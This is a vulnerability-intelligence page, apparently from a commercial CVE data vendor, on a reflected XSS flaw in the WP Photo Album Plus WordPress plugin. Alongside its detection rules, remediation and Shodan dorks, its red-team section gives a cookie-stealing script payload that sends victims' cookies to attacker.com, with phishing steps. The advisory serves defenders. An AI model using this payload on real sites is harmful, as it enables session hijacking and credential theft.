☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14835

CVE-2025-14835 Cross-Site Scripting in Wp photo album plus
📅 PUBLISHED: 2026-01-07 05:25 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14835 is a reflected cross-site scripting (XSS) vulnerability in the WP Photo Album Plus WordPress plugin, affecting all versions up to and including 9.1.05.008. The flaw resides in insufficient sanitization of the shortcode parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. This can result in session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, the attack surface is limited to sites running the affected plugin, but the lack of a confirmed patch elevates the risk for unmaintained installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – unauthenticated.
  • User Interaction (UI): Required – victim must click a link.
  • Scope (S): Changed – script executes in user's browser, not server.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – script injection can modify page content.
  • Availability (A): Low – minor disruption possible.

Threat Level: High for unpatched WordPress sites using the plugin. The low EPSS score (0.0%) suggests limited active exploitation, but the vulnerability is trivial to exploit and could be weaponized in phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress plugin ecosystem. The shortcode parameter is used by the plugin to render dynamic photo album content. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript via this parameter. When a victim clicks a crafted URL containing the payload, the server reflects the injected script back in the HTTP response without proper encoding, causing the browser to execute it.

Root Cause: The plugin fails to apply WordPress's built-in escaping functions (e.g., esc_attr(), esc_html(), or wp_kses()) to the shortcode parameter before outputting it in the page. This allows arbitrary HTML/JavaScript to be injected.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?shortcode=<script>alert('XSS')</script>
  2. Attacker lures victim (e.g., via email or social media) to click the link.
  3. Victim's browser sends request to WordPress server.
  4. Server processes the shortcode parameter and reflects it in the response without sanitization.
  5. Browser executes the injected script, which can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a template or shortcode handler
$shortcode = $_GET['shortcode'];
echo "<div class='wppa-shortcode'>" . $shortcode . "</div>";

Patched Code (Conceptual):

// Properly escape output
$shortcode = sanitize_text_field($_GET['shortcode']);
echo "<div class='wppa-shortcode'>" . esc_html($shortcode) . "</div>";

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Additionally, sanitize_text_field() strips dangerous tags. Without an official patch, users must manually apply similar escaping.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress site with WP Photo Album Plus <= 9.1.05.008.
  • Attacker-controlled server to capture exfiltrated data (optional).

Exploit Payload:

<script>
  // Steal cookies
  document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

Crafted URL:

https://victim-site.com/?shortcode=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Steps:

  1. URL-encode the payload for reliability.
  2. Send the link to the victim via phishing email or social engineering.
  3. Set up a listener on attacker.com to capture cookies.

Note: No public exploit code exists, but the vulnerability is trivial to exploit manually.

Blue Team (Defensive)

Detection:

  • Monitor web logs for requests containing shortcode= followed by <script> or onerror= patterns.
  • Use WAF rules to block reflected XSS attempts.

Honeypot:

  • Deploy a decoy WordPress instance with the vulnerable plugin and monitor for shortcode parameter abuse.

User Training:

  • Educate users to avoid clicking suspicious links, especially those containing query parameters.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with shortcode parameter containing <script>, onerror, onload, or javascript:.
    • Outbound connections to unknown domains from WordPress server (if cookie theft occurs).
  • Host IOCs:

    • Unexpected JavaScript in WordPress page source, especially in areas where shortcode is rendered.
    • Modified .htaccess or wp-config.php (if attacker escalates via XSS to admin).
  • Log IOCs:

    • Web server logs showing GET /?shortcode=<script>... with non-standard user agents.

Detection Engineering

YARA Rule

rule CVE_2025_14835_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Photo Album Plus shortcode parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14835"
    strings:
        $payload1 = /shortcode=.*<script/i
        $payload2 = /shortcode=.*onerror/i
        $payload3 = /shortcode=.*onload/i
        $payload4 = /shortcode=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt via WP Photo Album Plus shortcode Parameter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malicious shortcode parameter targeting CVE-2025-14835
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 'shortcode='
        cs-uri-query|re: '(?i)(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14835 Reflected XSS in WP Photo Album Plus"; flow:to_server,established; content:"shortcode="; http_uri; pcre:"/(?i)(<script|onerror|onload|javascript:)/R"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block shortcode parameter containing <script> or event handlers.
  3. Restrict access to the plugin's admin pages via .htaccess if possible.

Long-Term Fix:

  • Monitor the plugin's official repository for a patched version (>= 9.1.05.009).
  • If no patch is released, consider replacing the plugin with an alternative.

Code-Level Fix (for developers):

// In the plugin's shortcode handler
$shortcode = isset($_GET['shortcode']) ? sanitize_text_field($_GET['shortcode']) : '';
echo '<div class="wppa-shortcode">' . esc_html($shortcode) . '</div>';

User Education:

  • Train users to recognize phishing links and avoid clicking suspicious URLs.

Valters IT
Securing WordPress Ecosystems, One Plugin at a Time

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Photo Album Plus"
http.html:"wp-photo-album-plus"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14835/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.